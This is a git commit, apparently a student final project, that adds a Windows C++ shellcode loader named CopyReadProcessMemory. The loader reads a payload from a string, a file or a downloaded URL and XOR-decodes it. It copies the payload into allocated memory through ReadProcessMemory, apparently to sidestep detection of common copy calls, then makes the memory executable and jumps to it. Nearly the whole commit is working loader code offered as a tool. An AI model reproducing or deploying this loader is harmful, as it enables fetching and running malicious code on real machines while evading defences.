FinalProject

This commit is contained in:
chmod760
2025-11-18 16:05:45 +01:00
parent f862d67455
commit 9d48129d33
12 changed files with 3370 additions and 80 deletions
@@ -0,0 +1,43 @@
// CopyRemote.cpp : Este archivo contiene la función "main". La ejecución del programa comienza y termina ahí.
//
#include <windows.h>
#include <iostream>
#include <string>
#include <stdexcept>
#include "cxxopts.hpp"
#include "argumentParser.h"
#include "handlers.h"
#include "Helper.h"
using namespace std;
int main(int argc, char* argv[]) {
try
{
ParsedArguments args = parse_arguments(argc, argv);
if (args.show_help)
{
print_help();
return 0;
}
if (args.show_version)
{
print_version();
return 0;
}
execute_selected_mode(args);
}
catch (const std::exception& e)
{
std::cerr << "Error [X]: " << e.what() << std::endl;
return 1;
}
return 0;
}
@@ -0,0 +1,45 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Archivos de origen">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Archivos de encabezado">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Archivos de recursos">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CopyRemote.cpp">
<Filter>Archivos de origen</Filter>
</ClCompile>
<ClCompile Include="argumentParser.cpp">
<Filter>Archivos de origen</Filter>
</ClCompile>
<ClCompile Include="handlers.cpp">
<Filter>Archivos de origen</Filter>
</ClCompile>
<ClCompile Include="Helper.cpp">
<Filter>Archivos de origen</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="cxxopts.hpp">
<Filter>Archivos de encabezado</Filter>
</ClInclude>
<ClInclude Include="argumentParser.h">
<Filter>Archivos de encabezado</Filter>
</ClInclude>
<ClInclude Include="handlers.h">
<Filter>Archivos de encabezado</Filter>
</ClInclude>
<ClInclude Include="Helper.h">
<Filter>Archivos de encabezado</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{fc17cde1-18c5-4bcf-aa9f-f2e81358f81b}</ProjectGuid>
<RootNamespace>CopyReadProcessMemory</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>CopyReadProcessMemory</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="argumentParser.cpp" />
<ClCompile Include="CopyReadProcessMemory.cpp" />
<ClCompile Include="handlers.cpp" />
<ClCompile Include="Helper.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="argumentParser.h" />
<ClInclude Include="cxxopts.hpp" />
<ClInclude Include="handlers.h" />
<ClInclude Include="Helper.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+61
View File
@@ -0,0 +1,61 @@
#include "handlers.h"
#include "Windows.h"
#include <iostream>
#include <string>
using namespace std;
void XOR(char* payload, char* key, int payload_len, int key_len) {
for (int i = 0; i < payload_len; i++) {
payload[i] = payload[i] ^ key[i % key_len];
}
return;
}
void* CopyReadProcessMemory(char* shellcode, SIZE_T size) {
void* pDummyBuffer = nullptr;
void* pNewBuffer = nullptr;
// Reservamos un buffer "dummy"
pDummyBuffer = malloc(UCHAR_MAX);
if (!pDummyBuffer)
throw std::runtime_error("GetMem failed");
try {
// Reservar memoria en el proceso actual con VirtualAlloc
pNewBuffer = VirtualAlloc(nullptr, size, MEM_COMMIT, PAGE_READWRITE);
std::wcout << L"Pointer at : " << pNewBuffer << "\n";
if (!pNewBuffer)
throw std::runtime_error("VirtualAlloc failed, le:" + std::to_string(GetLastError()));
// Copiar el buffer usando una API no relacionada (ReadProcessMemory)
SIZE_T* pDestOffset = nullptr;
for (SIZE_T I = 0; I < size; ++I) {
pDestOffset = (SIZE_T*)((BYTE*)pNewBuffer + I);
ReadProcessMemory(
GetCurrentProcess(),
pNewBuffer,
pDummyBuffer,
*((BYTE*)shellcode + I),
(SIZE_T*)pDestOffset
);
}
// Mostrar el resultado
std::wcout << L"Indirectly Copied String (ReadProcessMemory)\n";
}
catch (...) {
if (pDummyBuffer) free(pDummyBuffer);
throw;
}
if (pDummyBuffer) free(pDummyBuffer);
//if (pNewBuffer) VirtualFree(pNewBuffer, 0, MEM_RELEASE);
return pNewBuffer;
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
void XOR(char* payload, char* key, int payload_len, int key_len);
void * CopyReadProcessMemory(char* payload, SIZE_T size);
+65
View File
@@ -0,0 +1,65 @@
#include "argumentParser.h"
#include "handlers.h"
#include <iostream>
#include "cxxopts.hpp"
ParsedArguments parse_arguments(int argc, char* argv[])
{
ParsedArguments args;
cxxopts::Options options(
"CopyReadProcessMemory",
"C++ tool that supports exactly one input mode"
);
options.add_options()
("s,string_inject", "<STRING_INJECT>", cxxopts::value<std::string>())
("f,file_path", "<FILE_PATH>", cxxopts::value<std::string>())
("t,remote_payload", "<TARGET_PAYLOAD>", cxxopts::value<std::string>())
("e,execute", "Execute payload")
("x,xor", "XOR payload with key string", cxxopts::value<std::string>())
("h,help", "Show help")
("V,version", "Show version")
;
auto result = options.parse(argc, argv);
// Assign basic flags
args.show_help = result.count("help");
args.show_version = result.count("version");
args.execute = result["execute"].as<bool>();
if (result.count("xor"))
{
args.xor_key = result["xor"].as<std::string>();
if (args.xor_key.empty())
throw std::runtime_error("XOR key cannot be empty");
}
int mode_count = 0;
if (result.count("string_inject")) { args.string_inject = result["string_inject"].as<std::string>(); args.mode = InputMode::StringInject; mode_count++; }
if (result.count("file_path")) { args.file_path = result["file_path"].as<std::string>(); args.mode = InputMode::FilePath; mode_count++; }
if (result.count("remote_payload")) { args.remote_payload = result["remote_payload"].as<std::string>(); args.mode = InputMode::RemotePayload; mode_count++; }
if (!args.show_help && !args.show_version)
{
if (mode_count == 0)
throw std::runtime_error("You must select exactly ONE mode: --string_inject, --file_path, or --remote_payload.");
if (mode_count > 1)
throw std::runtime_error("Only ONE mode is allowed. Remove conflicting options.");
}
if (!args.show_help && !args.show_version)
{
if (mode_count == 0)
throw std::runtime_error("You must select exactly ONE mode: --string_inject, --file_path, or --remote_payload.");
if (mode_count > 1)
throw std::runtime_error("Only ONE mode is allowed. Remove conflicting options.");
}
return args;
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include <string>
enum class InputMode
{
None,
StringInject,
FilePath,
RemotePayload
};
struct ParsedArguments
{
bool show_help = false;
bool show_version = false;
std::string xor_key;
bool execute = false;
InputMode mode = InputMode::None;
std::string string_inject;
std::string file_path;
std::string remote_payload;
};
ParsedArguments parse_arguments(int argc, char* argv[]);
File diff suppressed because it is too large Load Diff
+190
View File
@@ -0,0 +1,190 @@
#include "handlers.h"
#include <iostream>
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <stdexcept>
#include "Helper.h"
#pragma comment(lib, "wininet.lib")
// ---------------------
// HELP & VERSION
// ---------------------
void print_help()
{
std::cout <<
"Usage:\n"
" CopyReadProcessMemory [OPTIONS]\n\n"
"Modes (choose exactly one):\n"
" -s, --string_inject <STRING> Inject a raw string\n"
" -f, --file_path <FILE> Load payload from file\n"
" -t, --remote_payload <TARGET> Use remote payload\n\n"
"Options:\n"
" -e, --execute Execute payload after processing\n"
" -h, --help Show this help\n"
" -V, --version Show version\n";
}
void print_version()
{
std::cout << "CopyReadProcessMemory v1.0\n";
}
// ---------------------
// MAIN MODE LOGIC
// ---------------------
void execute_selected_mode(const ParsedArguments& args)
{
size_t size = 0;
char* data = nullptr;
if (!args.string_inject.empty())
{
data = handle_string_inject(args.string_inject, size);
}
if (!args.file_path.empty())
{
data = handle_file_path(args.file_path, size);
}
if (!args.remote_payload.empty())
{
data = handle_remote_payload(args.remote_payload, size);
}
// Apply XOR if specified
if (!args.xor_key.empty())
{
XOR(data, (char *)args.xor_key.c_str(), size, args.xor_key.size());
}
void * buffer = CopyReadProcessMemory(data, size);
// Execute payload
if (args.execute)
{
run_execute_logic(args, buffer, size);
}
// Free memory
delete[] data;
}
// ---------------------
// HANDLERS
// ---------------------
char* handle_string_inject(const std::string& value, size_t& out_size)
{
std::cout << "[INFO] Handling string_inject: " << value << std::endl;
char* buffer = new char[value.size() + 1];
memcpy(buffer, value.c_str(), value.size() + 1);
out_size = value.size();
return buffer;
}
char* handle_file_path(const std::string& value, size_t& out_size)
{
std::cout << "[INFO] Handling file_path: " << value << std::endl;
FILE* f = fopen(value.c_str(), "rb");
if (!f) return NULL;
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
if (size <= 0) { fclose(f); return NULL; }
char* buffer = (char*)malloc(size);
if (!buffer) { fclose(f); return NULL; }
if (fread(buffer, 1, size, f) != (size_t)size)
{
free(buffer);
fclose(f);
return NULL;
}
out_size = size;
fclose(f);
return buffer;
}
char* handle_remote_payload(const std::string& value, size_t& out_size)
{
std::cout << "[INFO] Handling remote_payload: " << value << std::endl;
HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet) throw std::runtime_error("InternetOpenA failed");
HINTERNET hFile = InternetOpenUrlA(hInternet, value.c_str(), NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
InternetCloseHandle(hInternet);
throw std::runtime_error("InternetOpenUrlA failed");
}
const size_t chunk_size = 4096;
char buffer[chunk_size];
size_t total_size = 0;
char* data = nullptr;
DWORD bytesRead = 0;
while (InternetReadFile(hFile, buffer, chunk_size, &bytesRead) && bytesRead != 0)
{
char* tmp = new char[total_size + bytesRead];
if (data)
{
memcpy(tmp, data, total_size);
delete[] data;
}
memcpy(tmp + total_size, buffer, bytesRead);
data = tmp;
total_size += bytesRead;
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
out_size = total_size;
if (!data) throw std::runtime_error("Failed to download or empty file");
return data;
}
// ---------------------
// EXECUTE FLAG
// ---------------------
void run_execute_logic(const ParsedArguments& args, void* pNewBuffer, size_t size)
{
switch (args.mode)
{
case InputMode::StringInject:
std::cout << "[EXECUTE] Executing string_inject";
// your string logic here
break;
case InputMode::FilePath:
std::cout << "[EXECUTE] Executing file_path";
// your file logic here
break;
case InputMode::RemotePayload:
std::cout << "[EXECUTE] Executing remote_payload";
// your remote payload logic here
break;
default:
throw std::runtime_error("No input mode selected for execution.");
return;
}
DWORD old;
if (!VirtualProtect(pNewBuffer, size, PAGE_EXECUTE_READ, &old)) {
throw std::runtime_error("VirtualProtect failed, le:" + std::to_string(GetLastError()));
}
// Ejecutar el código desde la memoria
typedef void(*Function)();
Function funct = (Function)pNewBuffer;
funct();
}
+13
View File
@@ -0,0 +1,13 @@
#pragma once
#include "argumentParser.h"
void print_help();
void print_version();
void execute_selected_mode(const ParsedArguments& args);
char* handle_string_inject(const std::string& value, size_t& out_size);
char* handle_file_path(const std::string& value, size_t& out_size);
char* handle_remote_payload(const std::string& value, size_t& out_size);
void run_execute_logic(const ParsedArguments& args, void * data, size_t size); // --execute flag